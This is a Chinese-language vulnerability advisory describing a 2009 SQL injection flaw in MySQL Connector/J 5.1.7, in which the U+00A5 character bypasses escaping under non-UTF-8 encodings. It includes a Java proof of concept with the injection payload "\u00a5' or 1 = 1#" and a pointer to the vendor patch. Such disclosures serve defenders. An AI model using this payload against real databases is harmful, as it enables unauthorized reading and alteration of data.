MySQL Connector/J Unicode字符串SQL注入漏洞
发布日期:2009-07-16
更新日期:2009-07-30
受影响系统:MySQL AB MySQL Connector/J 5.1.7
不受影响系统:MySQL AB MySQL Connector/J 5.1.8
描述:
BUGTRAQ ID:
35858
MySQL Connector/J是MySQL数据库的官方JDBC驱动。
如果远程攻击者在对MySQL Connector/J所提交的查询字符串中包含有U+00A5 unicode字符串,且使用的字符编码方式不是UTF-8,就可以执行SQL注入攻击,修改数据库中的内容。
<*来源:Sadao Hiratsuka
链接:
http://secunia.com/advisories/35995/
http://bugs.mysql.com/bug.php?id=41730
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
- sample data
mysql> select empno, ename from emp;
+-------+--------+
| empno | ename |
+-------+--------+
| 7369 | smith |
| 7499 | allen |
| 7521 | ward |
| 7566 | jones |
| 7654 | martin |
| 7698 | blake |
| 7782 | clark |
| 7788 | scott |
| 7839 | king |
| 7844 | turner |
| 7876 | adams |
| 7900 | james |
| 7902 | ford |
| 7934 | miller |
+-------+--------+
14 rows in set (0.00 sec)
- sample code
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
public class InjectionTest {
public static void main(String[] args) {
try {
Class.forName("com.mysql.jdbc.Driver");
Connection conn =
DriverManager.getConnection("jdbc:mysql://localhost/scott?characterEncoding=Windows-31J",
"scott", "tiger");
PreparedStatement pstmt = conn.prepareStatement("select empno from emp where ename =
?");
pstmt.setString(1, "\u00a5' or 1 = 1#");
ResultSet rs = pstmt.executeQuery();
while (rs.next()) {
System.out.println(rs.getInt(1));
}
rs.close();
pstmt.close();
conn.close();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
}
}
}
建议:
厂商补丁:
MySQL AB
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://bugs.mysql.com/file.php?id=11374浏览次数:5553
严重程度:0(网友投票)